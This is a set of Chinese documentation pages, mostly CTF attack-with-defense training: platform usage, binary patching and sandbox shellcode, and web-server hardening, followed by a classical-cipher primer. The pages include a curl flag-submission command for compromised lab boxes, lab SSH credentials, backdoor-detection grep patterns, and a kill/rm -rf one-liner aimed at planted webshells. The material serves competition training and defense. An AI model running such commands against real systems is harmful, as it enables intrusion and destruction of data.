有许多在线与本地的用户组织,虽然它们自己不编写任何软件,但是对软件很热心。这些用户组通常因互助和帮助新手而形成。

还有众多大小商业公司提供签约支持服务,别因为要付点钱才有支持就感到沮丧!毕竟,如果你车子的汽缸垫烧了,你多半还得花钱找个修理店把它弄好。即使软件没花你一分钱,你总不能指望服务支持都是免费的。

象 Linux 这样流行的软件,每个开发者至少有一万个以上的用户,一个人不可能应付这么多用户的服务要求。记住,即使你必须付费才能得到支持,也比你还得额外花钱买软件要少得多(而且对封闭源代码软件的服务支持与开源软件相比通常还要贵一点,也要差一点)。

如何更好地回答

态度和善一点。问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。

对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找 FAQ 都不知道。

如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来象个专家好玩就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。

如果帮不了忙,别妨碍。 不要在具体步骤上开玩笑,那样也许会毁了用户的安装──有些可怜的呆瓜会把它当成真的指令。

探索性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西──你也可以。试试将很差的问题转变成好问题,别忘了我们都曾是新手。

尽管对那些懒虫报怨一声“读读该死的手册”(RTFM)是正当的,指出文档的位置(即使只是建议做个谷歌关键词搜索)会更好

如果你决意回答,给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计,应推荐更好的工具,重新组织问题。

请回答真正的问题!如果提问者已经做了自己该做的研究,并且说明尝试过 X,Y,Z,A,B 与 C 都没有得到想要的結果,那么回复 试试 A 或 B 或者给出一个内容为 试一下 X,Y,Z,A,B 或 C 的链接将极其无益!

帮助你的社区从中学习。当回复一个好问题时,问问自己 如何修改相关文件或 FAQ 文档以免再次解答同样的问题?,接着再向文档维护者发一份补丁。

如果你是在研究一番后才做出的回答,展现你的技巧而不是直接端出结果。毕竟“授人以鱼,不如授人以渔”。

相关资源

如果需要个人电脑、Unix 和互联网如何工作的基础知识,参阅 Unix 和互联网工作的基本原理。

当你发布软件或补丁时,试着按 软件发布实践 操作。

鸣谢

伊夫林.米切尔(Evelyn Mitchell)贡献了一些愚蠢问题例子并启发了编写如何更好地回答问题这一节,米哈伊尔.罗门迪克(Mikhail Ramendik)贡献了一些特别有价值的建议和改进。


Hc Awd Awd About (`docs/hc-awd/awd_about.md`)


comments: true


关于AWD

简介

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛,在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分 ; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

类别

根据题目漏洞点或者方向可分为 Web-AWD 和 PWN-AWD,考察内容和对应方向类似。

Web-AWD

  • 目标: Web应用或服务的服务器。
  • 常见挑战: SQL注入、XSS(跨站脚本攻击)、CSRF(跨站请求伪造)、文件上传漏洞等 OWASP(Open Web Application Security Project)」 漏洞。
  • 防守策略: 高危代码修补,规则过滤,输入输出过滤,基础WAF编写(非通防)等。
  • 技能要求: 需要良好的Web安全基础。

PWN-AWD

  • 目标: 底层漏洞利用,例如缓冲区溢出、整数溢出等。
  • 常见挑战: Stack Buffer Overflow、Heap Overflow、Format String Bugs等。
  • 防守策略: 使用各种内存保护机制(如ASLR、NX、Canary)和补丁。
  • 技能要求: 深入了解操作系统、C/C++编程,以及逆向工程。

特点

该模式通常具备以下特点 :

  • 实时性强: 攻防模式可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负。
  • 全面性: 该模式不仅测试参赛队伍的攻击能力,还测试他们的防御和团队协作能力。
  • 高度动态: 参赛队伍可能需要不断地更新和调整防御策略,以应对不断变化的攻击环境。

元素

该模式通常包含以下元素 :

目标标志(Flag): 类似密码或特殊字符串,存储在服务中,需要被取出以获得积分。

积分板(Scoreboard): 显示各队伍的积分,通常实时更新。

漏洞利用(Exploit): 队伍开发或使用已有的攻击代码,以攻击对手。

修补(Patch): 当找到漏洞后,队伍需要尽快修补自己的系统,防止被攻击。

日志和监控(Log and Monitor): 为了更好地进行防御和攻击,队伍通常需要设置日志和监控系统。

规则

该模式通常采用 「 零和积分方式(Zero-Sum Scoring)」 即 一个队伍从另一个队伍那里获得积分(通常是通过成功的攻击和获取标志)时,被攻击的队伍将失去相应的积分。

通常情况下 :

  • 每个队伍会被给定一个初始分数 ( 根据比赛时间 难度等多维度预估 )。
  • 通常以 5/10 分钟为一个回合,每回合刷新Flag值或者重置Flag提交冷却时间。
  • 每回合内,一个队伍的一个服务被渗透攻击成功(被拿 Flag 并提交),则扣除一定分数,攻击成功的队伍获得相应分数。
  • 每回合内,如果队伍能够维持自己的服务正常运行,则分数不会减少;
  • 如果一个服务宕机或异常无法通过测试,则会扣分。在不同规则下,扣除的分数处理不同,在一些规则下为仅扣除,一些则为正常的队伍加上平均分配的分数。
  • 在某些情况下,环境因自身或者其他原因导致服务永久损坏或丢失,无法恢复,需要申请环境重置。根据比赛规则的不同,一些主办方会提供重置服务,但需要扣除对应分数;也有可能主办方不提供重置服务,则每轮扣除环境异常分。

环境

根据物理环境的不同,即 线上AWD 和 线下AWD ,参赛队伍可能会有不同的配置需求,该差异主办方会提前下发材料说明。无论线下还是线上,该模式的环境都具有以下共同特点。

  • 环境由 选手终端,GameBox,FlagServer 三部分组成

  • 选手终端在线上可采取VPN接入,Web映射转发接入等多种接入方式;选手终端在线下则需要自行配网(通常主办方会给出配网引导文件)方式可能为 WIFI 接入或者 使用网线和标准的 RJ45 接口进行连接。

  • GameBox 通常位于同一个D段中,主办方通常会提供ip资产列表,其中 IP 通常与队伍序号或者 ID 对应。

  • GameBox 一般使用 ssh 进行登录管理,登录方式为密码或者私钥。

  • FlagServer 提供类似Flag提交的相关服务。

平台

国内目前能够提供AWD训练的平台:

NSSCTF

  • 上线不久的AWD功能,题目比较少但持续更新。

  • 每隔一段时间会有官方AWD比赛,也可自定义比赛。

Bugku

  • 国内成熟的AWD供应平台,题目基数大。

  • 定期会有排位赛,也可自定义比赛训练。


Hc Awd Awd Platform (`docs/hc-awd/awd_platform.md`)


comments: true


AWD平台

国内目前能够提供AWD训练的平台:

NSSCTF

  • 上线不久的AWD功能,题目比较少但持续更新。

  • 每隔一段时间会有官方AWD比赛,也可自定义比赛。

Bugku

  • 国内成熟的AWD供应平台,题目基数大。

  • 定期会有排位赛,也可自定义比赛训练。

NSSCTF 使用

流程

请在进行比赛前仔细阅读平台规则。

报名比赛

登录NSSCTF平台后 在上方导航栏中选择 比赛

跳转到比赛页面后 在右侧功能区的 来源 选择 自定义竞赛

权限 选择为 公开 时 可报名公开比赛 私密 同理 但需要提供比赛密码。

报名成功后,

在比赛开始前 点击 已报名 即可进入比赛界面 以配置队伍;

若比赛 已开始 或者 已结束 则点击绿色的 进入 可进入比赛页面

通过输入队伍token加入队伍。

比赛开始后,点击 进入 按钮进入比赛

在比赛主页 会显示比赛信息,右侧会显示计分板。

在赛题选项中查看队伍GameBox信息,计分板会一直跟随显示。

建立连接

text
beescms(AWD)

题目描述:NULL

攻击标识:curl http://flagserver/flag?token=NSS_XDNEMU
状态:
运行中

题目端口:80

靶机地址:sjcyns1995-1.ecs190.awd.nssctf.cn

SSH端口:22300

SSH用户密码:nss/265i7ckumxqh

对于该靶机,我们使用ssh如下指令可建立连接:

text
ssh [email protected] -p 22300

通常为了方便管理,我们会依赖一些ssh工具,因为他们会集成一些 诸如 文件下载 修改的交互功能。

备份加固

通常我们选择将整个 www 文件夹 下载下来

  • 用作备份
  • 本地审计加固

攻击得分

另一队视角:

在对方机器上面任意能够执行命令的地方成功运行攻击标识时,我方得分,对方扣分 ( NSS平台目前为被攻击不扣分) :

攻击成功后,在服务器check后则会反应得分情况:(分数数据会稍有延迟)

每一轮中,对每个队伍只能攻击成功一次:

规则

见 [ Version 2.4 更新说明 ] ,内容如下:

  • 在NSS AWD中,你只需要向flagserver发送相应的请求即算攻击成功。例如题目界面为

  • 这里你只需要成功入侵其他队伍/人员靶机后发起这个请求即算攻击成功,你可以通过flagserver的返回内容判断是否攻击成功,响应如下

plaintext
code: 0, 攻击成功
code: -1, 参数不全,例如token没有带上
code: -2, 无效的Token参数,请检测token是否正确或者是否被过滤
code: -3, 您不能攻击自己的靶机
code: -4, 该轮已攻击过当前靶机,每轮只会有一次请求会被判定为有效攻击
code: -5, 还未到攻击时间
code: -999, 其他错误
  • 开赛后你可以通过SSH服务登录自己(队伍)的靶机进行源码下载、防御部署等服务。每个队伍的SSH端口和密码都不相同,你可以通过下列命令进行登录
plaintext
ssh nss@靶机地址 -p SSH端口
  • 同样你也可以使用其他SSH管理软件进行访问。
  • 你不需要扫描其他服务器的地址 ,可在题目界面右侧获得本题所有 靶机地址 (包括自己的也在内)用于编写自动化脚本。
  • 同时所有题目除了 题目端口 和 SSH端口 外,其他端口上不包含任何题目相关信息。你不需要对靶机服务器发起端口扫描。
  • 攻击成功的反馈不会实时更新在页面上,你可以通过上述提到的flagserver返回内容来进行判定。
  • 服务器会在每轮 随机 时间对靶机进行检查,检查内容包括但不限于
    • 特定内容是否存在
    • 特定功能是否可用
    • 特定流程是否完整
  • 任意一项检查不可用时将会判断服务器为宕机,并进行扣分,服务器状态会在每轮结束时进行更新,请不要对靶机上的正常功能或题目描述中指定的特殊内容进行修改,被判定宕机你可以通过备份更新等操作重新恢复(服务器状态不会立即更新,同样是在每轮结束时进行更新)

Hc Awd Awd Pwn.Exp (`docs/hc-awd/awd_pwn.exp.md`)


comments: true


【PWN】AWD技巧

开始之前:
在了解AWD的PWN之前,我们需要考虑AWD中PWN的位置,在大部分AWD比赛中,WEB的得分都会变得非常困难,其涉及知识面广,难度大,调试时间长,并且简单的修复也可能会需要很长的时间,但PWN相对没有那么复杂。

就算是这两年很火的LLVM等题型,其实也就是加大了逆向难度,而PWN本身难度依然不大,因此,大部分的比赛中,PWN都会成为拉开差距的点,虽然攻击依旧困难,但是修复是相对很简单的(只要出题人别瞎出。。)

PWN题攻击

这个其实就没什么好说的了,和常规CTF那是一模一样的,比较大的区别应该就是AWD中的PWN一般很少会出堆题,主要是因为太好修了。。。为了应对这个问题,出题人也经常会将堆和栈结合在一起出,比较经典的就是setcontext、打environ指针之类的方法,具体怎么修我们下文中会提。

PWN题修复

关于pwn的修复这个东西我们这里考虑两种场景,第一个给了源码时的修复,第二个是没给源码时的修复

有源码时的基础修复

先考虑有源码时的修复,这个其实很好操作,主要是熟练gcc g++的各种指令,还有就是要能快速发现漏洞点,由于pwn题中经常是溢出类题型和UAF类题型偏多,所以要分别考虑这两种情况,先看有码的溢出类题型(要非常注意strcat strcpy等会造成off by null的函数

c
int main(){
    char buf[24];
    scanf("%s", buf);
    return 0;
}

像这种那肯定是改%s为%23s,不能有更长的了,或者适当增扩buf的大小,而且它方法也是类似的,有源码的情况下那可太好修复了

无源码时的程序修改

那么无源码应该怎么修复?这似乎就是pwn里面的patch了

先列出来几张表,下面是jmp的相关指令,对于负数等情况需要用到

指令 机器码 指令 机器码
jmp EB XX jz 74 XX
je 74 XX jne 75 XX
jg 7F XX jge 7D XX
jl 7C XX jle 7E XX
ja 77 XX jae 73 XX
jb 72 XX jbe 76 XX
jna 76 XX jnb 73 XX
jnae 72 XX jnc 73 XX
jnb 73 XX jng 7E XX
jnge 7C XX jnl 7D XX

现在我们以单纯的篡改程序的思想来看下面这个逻辑(注意不是修复哦,只是试一试改程序)

这是一个很明显的canary,那么我们想让这个canary反过来应该怎么做呢?即不溢出的时候调用__stack_chk_fail,溢出的时候不调用

选择IDA中的key -> patcher

可以发现jz的指令是74 05,即jz $.+5,我们将其修改为jnz

指令就变成了75 05,当然,也可以使用pwntools的asm,也可以帮助我们快速找opcode

然后选择IDA中的edit ->patch program -> apply patches to input file即可保存文件,然后去跑一跑就会发现雀食达到了我们要的效果

常规补丁

好这是上面是第一个最简单的patch修改指令,下面我们来一个难点的,对于scanf("%s")我们应该如何patch?

我搜了很多其他师傅的思路,第一个是利用eh_frame段,这个段在程序正常运行的时候一般用不到,但是它是被赋予了X权限的,也就是说可执行,你比如说对于这个

这里call了__isoc99_scanf的PLT,那么我们在eh_frame上自己写一个函数,让它call到我们自己的函数上去,而我们自己的函数我们就严格限制输入大小,注意这里传入的第二个参数为缓冲区地址

我们这里非常简单暴力,自己通过syscall来输入,然后我们去修改eh_frame,编写如下脚本用于生成字节码

python
from pwn import *

context.arch = 'amd64'

code = '''
	xor rdi, rdi
	mov rdx, 23
	xor rax, rax
	syscall
	ret
'''

for i in list(asm(code, arch='amd64')):
	print(hex(i)[2:].rjust(2, '0'), end = ' ')
print()

然后去修改 call scanf

最后,修改call scanf到call eh_frame上来,由于这里我们开了PIE,所以需要call一个相对坐标

先看看原本的地方

我们需要把这个函数除了对我们有用的部分全部劫持到我们在eh_frame上的代码,多余的部分全部改为nop

这是我改完以后的,主要就是lea r15, qword_2050这个点,我们需要使用相对寻址来计算目标代码的位置,生成opcode的代码如下,当然也可以直接用keypatch

python
from pwn import *

context.arch = 'amd64'

code = '''
	lea r15, [rip + 0xec5]
	lea rsi, [rbp - 0x20]
	call r15
'''

for i in list(asm(code, arch='amd64')):
	print(hex(i)[2:].rjust(2, '0'), end = ' ')
print()

至于这个 0xec5 怎么来的,首先,lea的长度为7,所以lea的下一条指令的地址是0x118b,使用0x2050 - 0x118b得到0xec5

好了现在我们将程序打包到gdb里调试看看

现在雀食是可以跳转过来执行了,但是还有最后的问题,即eh_frame没有执行权限,这个我们通过IDA修改ELF的头来实现

Type一定得是LOAD,而我们的补丁打在第三个LOAD里,所以我将Flags修改为了7,当然啊,这样做其实是非常不负责的,但是做题嘛,怎么快怎么来,如果想要负责的话,那就得加一个LOAD,并且还需要处理好PIE,至少现在是正常跑起来了也不会溢出

替换PLT|GOT修复

如果说程序东西不多而且敏感函数就调用那么一两次的话我们也可以通过修改重定位表来修复

先来看源码

c
#include<stdio.h>

int main(){
        char buf[24];
        scanf("%s", buf);
        printf(buf);
        return 0;
}

这里我们只考虑修复printf而不考虑修复scanf,修scanf参考上文的方案即可

编译

gcc replace_plt.c -o replace_plt -fno-stack-protector -z lazy

修printf,这里我们通过篡改printf为puts来实现,但是源程序里并没有puts,所以需要更改dyn

我们找到printf的dynsym

我们去修改printf为puts

然后patch,再次打开程序的时候可以发现就变成puts了

这里涉及到的其实是一个ret2resolve里的小知识,我们简单提一嘴,就是Libc动态链接的过程其实是依靠函数名的,虽然我们平时看到的PLT GOT等表中都没有包含函数名,但实际上它储存了一些索引,方便动态链接函数通过PLT找到这个函数名,最后再通过去Libc中对比函数名寻找真实的函数地址,因此修改函数名的修复是有效的,玩的花一点我们还可以把free的函数名修改为atoi之类的东西,直接pass掉大部分堆题。。

不过这样其实还是有问题,因为我们这里使用的是puts,它比printf短,那如果需要替换为__printf_chk呢?

还是使用到了eh_frame段,主要是因为这个段一般真用不到,不会影响程序正常运行,不过如果想的话也可以自己再加点东西进来

然后修改printf到这里来 0x2060 - 0x488 = 0x1bd8

最后我们执行

虽然说报错了,但是可以发现报错信息也只是说找不到这个符号,我们的替换还是正确的,换成别的函数是没问题的,只是IDA这个地方会报错,但是不影响

堆题的一些通用修复

我们都知道堆题高度依赖于 free 函数,如果说malloc等函数的不正确使用是造成漏洞的主要原因(比如说溢出就属于长度没控制好),那free就是触发漏洞的关键,当然了,还有别的触发方式,我们这里不深入

那么我们如何修复free呢?很简单啊, nop 掉就完事了,这样的做法有时候在比赛中比较管用,但也不是啥时候都管用,因此我们还有另外几种方案

因为现在的PWN题运行过程动不动就有个 5s 以上(比如说要打IO爆破),而checker的运行只有短短 1~5 秒,那么为什么不从alarm上下手呢?

alarm函数会在时间到了以后强制结束进程,那么我们可以patch程序最开始的 alarm(60) 为 alarm(3),这样就有可能造成checker通过而exp不通过,从而通过check逻辑

通防

EvilPatcher

这个东西是我在某次比赛中看到的,基本上通杀。。神挡杀神佛挡杀佛,那次比赛吃了大亏,全场貌似就包括我在内的少数几个人不知道这东西,我们就简单给出链接吧

https://github.com/TTY-flag/evilPatcher

自制通防思路

写在前面:
这种方法对于Docker环境不适用,因为需要Docker开启 CAP_SYS_PTRACE 权限,但是这玩意会导致Docker逃逸,不过当然了,如果是纯黑盒的话,想逃还是很难的,360等平台使用的似乎就是Docker的环境,而永信至诚的平台似乎是VM环境,这种方法可以使用

开始吧:
要拼速度的话,慢慢找洞慢慢替换肯定是不行的,所以要提前准备好通防操作,在pwn中,通防肯定就是不让你开shell不让你读文件了,主要就是要关掉open openat execve等系统调用了

这里的我的思路是将注入代码写入eh_frame中,并且劫持程序入口到这个地方来,先执行注入逻辑,将原本的进程作为子进程启动,父进程通过ptrace等函数来监控子进程的行为,如果发现子进程调用了open openat execve等函数,那么就kill掉子进程

shellcode的C版本如下,为了避免外部引入的库函数用到了plt等结构(用到了的话就g了),如ptrace等函数我都换成了用汇编编写的syscall

text
/* Detailed source-code truncated for AI context efficiency. */

现在只要调用到了execve clone vfork fork等系统调用就会被拦截然后强制终止程序的执行,限制执行了system,如果没有d函数执行的话应该是会执行ls指令的,但是现在d函数开启了沙盒,那么按道理来说会直接退出

可以发现去雀食没有执行了

后面我又加了几段代码用来平衡栈和保存环境

生成完的shellcode如下(没有包含jmp start,64位,这个shellcode不包含open和openat

text
57 56 52 51 55 48 89 E5 53 48 83 EC 78 48 C7 C0 
39 00 00 00 0F 05 89 C0 89 C3 85 DB 75 2D B8 65 
00 00 00 48 31 F6 48 31 D2 4D 31 D2 48 31 FF 0F 
05 B8 27 00 00 00 0F 05 89 C7 BE 13 00 00 00 B8 
3E 00 00 00 0F 05 E9 97 00 00 00 B8 3D 00 00 00 
48 31 FF 0F 05 89 DE B8 65 00 00 00 BF 18 00 00 
00 48 31 D2 4D 31 D2 0F 05 48 8D 45 E4 48 89 45 
F0 89 DF 48 8B 45 F0 48 89 C6 48 31 D2 B8 3D 00 
00 00 0F 05 48 8D 85 08 FF FF FF 48 89 45 E8 48 
8B 45 E8 49 89 C2 89 DE BF 0C 00 00 00 48 31 D2 
B8 65 00 00 00 0F 05 48 8B 45 80 48 83 F8 37 76 
0A 48 8B 45 80 48 83 F8 3B 76 0C 48 8B 45 80 48 
3D E7 00 00 00 75 8E 89 DF BE 09 00 00 00 B8 3E 
00 00 00 0F 05 90 BF 2B 02 00 00 B8 3C 00 00 00 
0F 05 90 48 83 C4 78 5B 5D 59 5a 5e 5f

包含open和openat的shellcode

text
57 56 52 51 55 48 89 E5 53 48 83 EC 78 48 C7 C0 
39 00 00 00 0F 05 89 C0 89 C3 85 DB 75 2D B8 65 
00 00 00 48 31 F6 48 31 D2 4D 31 D2 48 31 FF 0F 
05 B8 27 00 00 00 0F 05 89 C7 BE 13 00 00 00 B8 
3E 00 00 00 0F 05 E9 B1 00 00 00 B8 3D 00 00 00 
48 31 FF 0F 05 89 DE B8 65 00 00 00 BF 18 00 00 
00 48 31 D2 4D 31 D2 0F 05 48 8D 45 E4 48 89 45 
F0 89 DF 48 8B 45 F0 48 89 C6 48 31 D2 B8 3D 00 
00 00 0F 05 48 8D 85 08 FF FF FF 48 89 45 E8 48 
8B 45 E8 49 89 C2 89 DE BF 0C 00 00 00 48 31 D2 
B8 65 00 00 00 0F 05 48 8B 45 80 48 83 F8 37 76 
0A 48 8B 45 80 48 83 F8 3B 76 26 48 8B 45 80 48 
3D E7 00 00 00 74 1A 48 8B 45 80 48 83 F8 02 74 
10 48 8B 45 80 48 3D 01 01 00 00 0F 85 74 FF FF 
FF 89 DF BE 09 00 00 00 B8 3E 00 00 00 0F 05 90 
BF 2B 02 00 00 B8 3C 00 00 00 0F 05 90 48 83 C4 
78 5B 5D 59 5a 5e 5f

32位的C代码和shellcode如下,编译的时候要关闭位置无关代码,否则gcc在32位下会引入__x86.get_pc_thunk.ax函数,从而用到了GOT,导致生成的shellcode不能移植

text
/* Detailed source-code truncated for AI context efficiency. */

shellcode(加入了pusha 和popa):

text
60 55 89 E5 56 53 83 EC 60 B8 02 00 00 00 CD 80 
89 C0 89 45 F4 83 7D F4 00 75 29 B8 1A 00 00 00 
31 C9 31 D2 31 F6 31 DB CD 80 B8 14 00 00 00 CD 
80 89 C3 B9 13 00 00 00 B8 25 00 00 00 CD 80 E9 
9F 00 00 00 B8 72 00 00 00 31 DB CD 80 8B 45 F4 
89 C1 B8 1A 00 00 00 BB 18 00 00 00 31 D2 31 F6 
CD 80 8D 45 E8 89 45 F0 8B 45 F4 89 C3 8B 45 F0 
89 C1 31 D2 B8 72 00 00 00 CD 80 8D 45 A4 89 45 
EC 8B 45 EC 89 C6 8B 45 F4 89 C1 BB 0C 00 00 00 
31 D2 B8 1A 00 00 00 CD 80 8B 45 D0 83 F8 02 74 
24 8B 45 D0 83 F8 0B 74 1C 8B 45 D0 3D BE 00 00 
00 74 12 8B 45 D0 83 F8 78 74 0A 8B 45 D0 3D FC 
00 00 00 75 88 8B 45 F4 89 C3 B9 09 00 00 00 B8 
25 00 00 00 CD 80 90 BB 2B 02 00 00 B8 01 00 00 
00 CD 80 90 83 C4 60 5B 5E 5D 61

那么接下来我们实践看一下,编写程序如下

c
#include<stdio.h>

int main(){
	system("ls");
}

执行效果如下

然后开始植入代码到eh_frame

篡改程序入口到eh_frame

修改eh_frame的权限为7

计算jmp到start上去的偏移,lea的指令长度为7,我们shellcode结束的地方是0x213c,所以lea的地址是0x213d,所以这个时候的rip是0x2144,计算start函数到这里的偏移(如果没有开启PIE的话就直接jmp绝对地址

生成shellcode

python
from pwn import *

context.arch = 'amd64'

code = '''
	lea r15, [rip-0x10e4]
	jmp r15
'''

for i in list(asm(code, arch='amd64')):
	print(hex(i)[2:].rjust(2, '0'), end = ' ')
print()

植入在之前通防壳的后面

现在我们再去执行一下system看看

另外说一句,对于32位的程序,由于pwntools在生成代码的时候很蛋疼,对重定位的检测很离谱,所以我们最好直接用opcode来写,jmp指令的opcode为E9,操作数为4字节,指令长度为5字节,4字节的操作数即为相对偏移,支持负数,所以我在32位程序上就是直接写jmp指令,当然,64位下也是一样的,区别不大,大概改成下面这样即可


Hc Awd Awd Web.Exp (`docs/hc-awd/awd_web.exp.md`)


comments: true


【WEB】AWD技巧

建立信息网络

《孙子兵法·谋攻》:「知彼知己,百战不殆。」

组件发现:

bash
find / -name "nginx.conf"                 #定位nginx目录
find / -path "*nginx*" -name nginx*conf   #定位nginx配置目录
find / -name "httpd.conf"                 #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录

网站发现:

通常都位于 /var/www/html 中,如果没有试试 find 命令

bash
find / -name "index.php"   #定位网站目录

日志发现:

对日志的实时捕捉,除了能有效提升防御以外,还能捕捉攻击流量,得到一些自己不清楚的攻击手段,平衡攻击方和防守方的信息差。

bash
/var/log/nginx/        #默认Nginx日志目录
/var/log/apache/       #默认Apache日志目录
/var/log/apache2/      #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log        #实时刷新滚动日志文件

以上是定位常见文件目录的命令或方法,比赛需要根据实际情况类推,善用find命令!

文件监控

文件监控能及时木马文件后门生成,及时删除防止丢分。

其他命令:

bash
netstat -ano/-a    #查看端口情况
uname -a           #系统信息
ps -aux ps -ef     #进程信息
cat /etc/passwd    #用户情况
ls /home/          #用户情况
id                 #用于显示用户ID,以及所属群组ID
find / -type d -perm -002      #可写目录检查
grep -r “flag” /var/www/html/  #查找默认FLAG

口令更改

这里需要更改的口令包括但不限于服务器SSH口令、数据库口令,WEB服务口令以及WEB应用后台口令。

bash
passwd username    #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’                #查找配置文件中的密码凭证

建立备份

除了攻击成功可以让对手扣分,还能破坏对方环境使其宕机被check扣分;同时己方也有可能在修复过程中存在一些误操作,导致源码出错,致使服务停止;对页面快速恢复时,及时备份是必要的,因此页面备份至关重要。

压缩文件:

要注意的是 有的题目环境可能不支持 zip

bash
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压文件:

bash
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份到服务器:

bash
mv web.tar /tmp
mv web.zip /home/xxx

上传下载文件:

bash
scp username@servername:/path/filename /tmp/local_destination  #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           #从本地上传整个目录到服务器

备份指定数据库:

数据库配置信息一般可以通过如config.php/web.conf等文件获取。

bash
mysqldump –u username –p password databasename > bak.sql

备份所有数据库:

bash
mysqldump –all -databases > bak.sql

导入数据库:

bash
mysql –u username –p password database < bak.sql

代码审计

将备份下载下来后,立即在本地开展审计工作,确定攻击手段和防御策略,要注意因为awd时间短,且代码量多所以考核的题目应该也不会太难,通常不会涉及到太难的代码审计。

  • D盾:查杀后门
  • seay源代码审计:审计代码

一般AWD模式中存在的后门:

  • 官方后门 / 预置后门

    bash
    # 可以使用下面的代码进行查找
    find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
  • 常规漏洞 如SQL注入 文件上传 代码执行 序列化及反序列化...

  • 选手后门(选手后期传入的木马)

漏洞修复

在代码审计结束后,及时对自身漏洞进行修补,要注意的是漏洞修复遵循保证服务不长时间宕机的原则, 应当多使用安全过滤函数,能修复尽量修复,不能修复先注释或删除相关代码,但需保证页面显示正常。

应急响应

通过命令查看可疑文件:

bash
find /var/www/html -name *.php -mmin -20                         #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u                    #寻找行数最短文件
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html      #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

不死马查杀:

杀进程后重启服务,写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)

比如写个马来一直杀死不死马进程:

php
<?php system("kill -9 pid;rm -rf .shell.php"); ?>  #pid和不死马名称根据实际情况定

后门用户查杀:

UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用userdel -r username 完全删除账户

其他查杀:

部分后门过于隐蔽,可以使用ls -al命令查看所有文件及文件修改时间和内容进行综合判断,进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等

进程查杀

bash
ps -aux  #查看进程
kill -9 pid #强制进程查杀

关闭端口

bash
netstat -anp  #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙

*咳咳,本着不重复造轮子的原则( 才不是懒ww,经验中大部分内容就直接搬过来了,稍微改了下分组和补充了点内容,原 【先知社区】AWD比赛入门攻略总结


Hc Crypto Classicalcipher (`docs/hc-crypto/Classicalcipher.md`)


comments: true


古典密码 / Classic cryptography

简述

古典密码(Classic cryptography) 在形式上可分成 移位密码(Shift Cipher) 和 替代密码(Substitution Cipher) 两类,其中替代密码又可分为单表替代和多表替代。有时则是两者的混合。其于历史中经常使用,但现代已经很少使用,大部分的已经不再使用了。

图:中文wiki-古典密码

移位密码

移位式密码,它们字母本身不变,但它们在消息中顺序是依照一个定义明确的项目改变。许多移位式密码是基于几何而设计的。一个简单的加密(也易被破解),可以将字母向右移1位。例如,明文"Hello my name is Alice."将变成"olleH ym eman si ecilA."。

栅栏密码 Rail-fence

栅栏密码(Rail-fence Cipher) 就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合...每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文,这里以 key=2 栏栅栏加密为例。

text
明文:Squdgy fez, blank jimp crwth vox
分组:Sq ud gy  f ez ,  bl an k  ji mp  c rw th  v ox 
将每组以前后顺序上下展开:
第一行 S u g   e , b a k j m   r t   o
第二行 q d y f z   l n   i p c w h v x
得密文 Sug e,bakjm rt oqdyfz ln ipcwhvx

曲路密码 Curve

「曲路密码 Curve Cipher」 是一种按照双方约定密钥路径加解密的换位密码。

明文: The quick brown fox jumps over the lazy dog

填入5行7列表(事先约定填充的行列数)

加密的回路线(事先约定填充的行列数)

密文: gesfc inpho dtmwu qoury zejre hbxva lookT

列移位密码 Columnar Transposition

「列移位密码 Columnar Transposition Cipher」 一种比较简单,易于实现的换位密码,通过一个简单的规则将明文打乱混合成密文。

以明文 The quick brown fox jumps over the lazy dog,密钥 how are u 为例。

填入5行7列表(事先约定填充的行列数,如果明文不能填充完表格可以约定使用某个字母进行填充)

密钥: how are u

按how are u在字母表中的出现的先后顺序进行编号,我们就有a为1,e为2,h为3,o为4,r为5,u为6,w为7,所以先写出a列,其次e列,以此类推写出的结果便是密文:

密文: qoury inpho Tkool hbxva uwmtd cfseg erjez

替代密码

替代密码是字母(或是字母群)作有系统的代换,直到消息被替换成其它难以解读的字。

替换式密码亦有许多不同类型。如果每一个字母为一单元(或称元素)进行加密操作,就可以称之为 「简易替换密码 simple substitution cipher」 或 「单表加密 monoalphabetic cipher 」 另又称为 单字母替换加密 ; 以数个字母为一单元则称为 「多表加密 polyalphabetic cipher」 或 「表格式加密 polygraphic」。

阿特巴希密码 Atbash

埃特巴什码,密文表是明文表的逆转:

text
明文表:ABCDEFGHIJKLMNOPQRSTUVWXYZ 

密文表:ZYXWVUTSRQPONMLKJIHGFEDCBA

明文:the quick brown fox jumps over the lazy dog

密文:gsv jfrxp yildm ulc qfnkh levi gsv ozab wlt

猪圈密码 Pigpen

